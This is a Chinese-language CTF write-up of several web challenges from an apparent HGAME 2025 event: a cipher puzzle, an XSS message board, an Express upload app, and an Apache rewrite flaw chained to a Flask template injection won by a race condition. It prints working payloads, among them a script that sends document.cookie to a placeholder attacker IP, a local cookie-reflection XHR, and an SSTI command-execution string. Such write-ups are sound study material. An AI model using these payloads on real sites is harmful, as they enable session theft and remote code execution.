Level 24 Pacman

#考眼力的签到题

image-20250203230941183

一个吃豆豆的小游戏,要吃够一万分才能拿到flag,这类题都是可以去找条件然后进行绕过的,先看一下源代码

image-20250203231034873

终于在源码里面看到了一句base64编码,加密后是

image-20250203231123084

栅栏密码

image-20250203231730692

但是这个不是密码

然后在又发现一个 haeu4epca_4trgm{_r_amnmse}

image-20250203232701377

这个就是对的了

Level 69 MysteryMessageBoard

#不出网的xss

登录界面提示了shallot用户名,密码的话试了一下用字典去爆破然后就找到密码登进去了

image-20250204111233858

是一个留言板,试一下xss

1
<script>alert(1)</script>

发现有弹窗显示1,说明这里可能存在xss漏洞

1
<script>document.location.href="http://[ip]/xss.php?cookie="+document.cookie</script>

试一下能不能拿到admin的cookie,但是拿到的只有自己的cookie,应该是需要触发admin去访问这个留言,后面扫目录看到有admin路由

image-20250207001419338

应该是访问admin路由后才会触发admin访问留言

image-20250207001446282

但是用上面的打法然后访问admin之后并没有收到admin的cookie,后面才知道是admin不出网,所以我们让admin去访问本地的8888端口然后把cookie反射到留言板上就可以了

1
2
3
4
5
6
<script>
var xhr=new XMLHttpRequest();
xhr.open("POST", "http://127.0.0.1:8888/", true);
xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xhr.send("comment=" + document.cookie);
</script>

传入后访问admin路由触发admin访问留言,然后刷新页面就可以拿到admin的cookie了

image-20250207002012267

后面访问flag路由然后伪造admin身份就可以拿到flag了

Level 47 BandBomb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
//app.js
const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');

const app = express();

app.set('view engine', 'ejs');

app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());

const storage = multer.diskStorage({
destination: (req, file, cb) => {
const uploadDir = 'uploads';
if (!fs.existsSync(uploadDir)) {
fs.mkdirSync(uploadDir);
}
cb(null, uploadDir);
},
filename: (req, file, cb) => {
cb(null, file.originalname);
}
});

const upload = multer({
storage: storage,
fileFilter: (_, file, cb) => {
try {
if (!file.originalname) {
return cb(new Error('无效的文件名'), false);
}
cb(null, true);
} catch (err) {
cb(new Error('文件处理错误'), false);
}
}
});

app.get('/', (req, res) => {
const uploadsDir = path.join(__dirname, 'uploads');

if (!fs.existsSync(uploadsDir)) {
fs.mkdirSync(uploadsDir);
}

fs.readdir(uploadsDir, (err, files) => {
if (err) {
return res.status(500).render('mortis', { files: [] });
}
res.render('mortis', { files: files });
});
});

app.post('/upload', (req, res) => {
upload.single('file')(req, res, (err) => {
if (err) {
return res.status(400).json({ error: err.message });
}
if (!req.file) {
return res.status(400).json({ error: '没有选择文件' });
}
res.json({
message: '文件上传成功',
filename: req.file.filename
});
});
});

app.post('/rename', (req, res) => {
const { oldName, newName } = req.body;
const oldPath = path.join(__dirname, 'uploads', oldName);
const newPath = path.join(__dirname, 'uploads', newName);

if (!oldName || !newName) {
return res.status(400).json({ error: ' ' });
}

fs.rename(oldPath, newPath, (err) => {
if (err) {
return res.status(500).json({ error: ' ' + err.message });
}
res.json({ message: ' ' });
});
});

app.listen(port, () => {
console.log(`服务器运行在 http://localhost:${port}`);
});

先进行代码审计

1
app.use('/static', express.static(path.join(__dirname, 'public')));
  • app.use() 是 Express 应用程序的方法,用于将中间件函数附加到应用程序的请求处理流程中。它可以用于处理所有 HTTP 请求类型
  • **'/static**指定了当客户端请求以 /static 开头的路径时,后续的中间件(在这里是 express.static)将会处理这些请求。
  • express.static 是 Express 提供的一个内置中间件,用于为应用提供静态文件服务。它可以为指定的目录提供静态资源
  • path.join 是 Node.js 内置的 path 模块的方法,用于安全地连接文件和目录路径。
  • __dirname 是一个全局变量,表示当前执行脚本所在的目录的绝对路径。

先放着吧,这个知识点还没学,学完了再回来写

Level 38475 角落

#url重写漏洞+ssti条件竞争

题目提示会有管理员查看留言

image-20250222115011381

image-20250222115238416

传了一个<script>alert("1")</script>显示上传成功但是没得弹窗警告,扫目录看到一个有robots.txt,给了一个/app.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Include by httpd.conf
<Directory "/usr/local/apache2/app">
Options Indexes
AllowOverride None
Require all granted
</Directory>

<Files "/usr/local/apache2/app/app.py">
Order Allow,Deny
Deny from all
</Files>

RewriteEngine On
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"

ProxyPass "/app/" "http://127.0.0.1:5000/"

分析一下这个配置文件,app.py不让访问,我们重点看一下URL重写规则

1
2
3
RewriteEngine On//开启 Apache 的 URL 重写模块
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"%{HTTP_USER_AGENT}表示客户端发送的 HTTP 请求中的用户代理字符串(User-Agent),如果UA头中包含 L1nk/ 字符串,则后续的重写规则将会被应用
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"
  • RewriteRule “^/admin/(.*)$” “/$1.html?secret=todo”

什么意思呢?就是当我访问/admin/???目录的时候Apache 会尝试在文件系统中查找 /???.html 文件

阿帕奇的URL重写规则

image-20250222121757897

试着去拿一下app.py但是没拿到,应该是路径问题

后面找文档看到有版本CVE

image-20250222123722368

Apache 的文档根目录(DocumentRoot)通常是 /usr/local/apache 或类似路径。直接读app.py

image-20250222123531139

只需要在最后加一个%3f即可,这会把app.py后面的东西变成查询语句。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
//app.py
from flask import Flask, request, render_template, render_template_string, redirect
import os
import templates

app = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = templates.show_msg


def readmsg():
filename = pwd + "/tmp/message.txt"
if os.path.exists(filename):
f = open(filename, 'r')
message = f.read()
f.close()
return message
else:
return 'No message now.'


@app.route('/index', methods=['GET'])
def index():
status = request.args.get('status')
if status is None:
status = ''
return render_template("index.html", status=status)


@app.route('/send', methods=['POST'])
def write_message():
filename = pwd + "/tmp/message.txt"
message = request.form['message']

f = open(filename, 'w')
f.write(message)
f.close()

return redirect('index?status=Send successfully!!')

@app.route('/read', methods=['GET'])
def read_message():
if "{" not in readmsg():
show = show_msg.replace("{{message}}", readmsg())
return render_template_string(show)
return 'waf!!'


if __name__ == '__main__':
app.run(host = '0.0.0.0', port = 5000)

路由/read是用来渲染的,是ssti,先传一个7*7然后访问/read路由

image-20250222125751104

能正常访问处理,因为这里会检查是否包含{,之前没学过过滤了这个怎么做,后面看的师傅的wp知道这里是需要条件竞争的,因为我们需要写文件读文件,那么这里可以可以用条件竞争来做。

需要一个正常/send包,一个写文件的/send包,一个读文件的/read包

我们用lipsum获取os模块,三个包设置如下

image-20250222131347646

image-20250222131409577

image-20250222131429676

payload

1
message={{lipsum.__globals__.__builtins__.__import__('os').popen('ls').read()}}

image-20250222131319867

然后换一下rce命令再竞争一下就可以了

image-20250222131700129

Level 25 双面人派对

还需要逆向分析,压根不会,可以看看infernity师傅的wp

Hgame2025 week1 Web WP

Level 21096 HoneyPot